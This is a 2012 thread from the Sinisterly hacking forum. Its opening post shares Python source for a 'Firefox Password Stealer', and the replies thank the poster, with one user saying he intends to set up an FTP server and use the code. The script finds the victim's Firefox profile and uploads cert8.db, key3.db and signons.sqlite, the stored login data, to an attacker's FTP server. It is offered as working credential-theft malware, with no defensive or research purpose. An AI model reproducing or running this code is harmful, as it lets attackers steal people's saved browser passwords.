Sinisterly
[Python] Firefox Password Stealer - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Python (https://sinister.ly/Forum-Python)
+--- Thread: [Python] Firefox Password Stealer (/Thread-Python-Firefox-Password-Stealer)



[Python] Firefox Password Stealer - Zealotry - 10-30-2012

Hello guys!

I found this stealer written in Python. While it doesn't decrypt the passwords, it's still some pretty nice code.

Credits to the coder.

Spoiler: Code in Python
Code:
import ftplib import getpass import os #get the default user profile dirs = os.listdir("C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/") #directorys of the needed files cert8 = "C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/" + dirs[0] + "/cert8.db" key03 = "C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/" + dirs[0] + "/key3.db" signons = "C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/" + dirs[0] + "/signons.sqlite" #check if the path of the files exist if os.path.exists(cert8): pass else: exit() if os.path.exists(key03): pass else: exit() if os.path.exists(signons): pass else: exit() #set ftp + server ftp = ftplib.FTP("server") #login to your ftp ftp.login("login", "password") #open these file with readbinary mode cert = open(cert8, "rb") key = open(key03, "rb") sig = open(signons, "rb") #try to upload this files to you Ftp server try: ftp.storbinary('STOR {0}'.format("/ff/cert8.db"), cert) ftp.storbinary('STOR {0}'.format("/ff/key3.db"), key) ftp.storbinary('STOR {0}'.format("/ff/signons.sqlite"), sig) except: pass #close ftp connection ftp.close() #close files cert.close() key.close() sig.close()



RE: [Python] Firefox Password Stealer - Savsal14 - 11-09-2012

I don't know python but this is very helpful also so that you can understand how you can code a firefox stealer in any language! Thanks Z!


RE: [Python] Firefox Password Stealer - Falcon - 11-09-2012

Thanks for this Z, I'll probably learn this.


RE: [Python] Firefox Password Stealer - +Respawn - 11-09-2012

Someday ill learn python haha for now

Great share Z!


RE: [Python] Firefox Password Stealer - Original - 11-19-2012

Very nice, thanks for posting the source.


RE: [Python] Firefox Password Stealer - AnonFreeworld - 11-27-2012

Wow nice code bro! I think imma setup an ftp server and do this o-O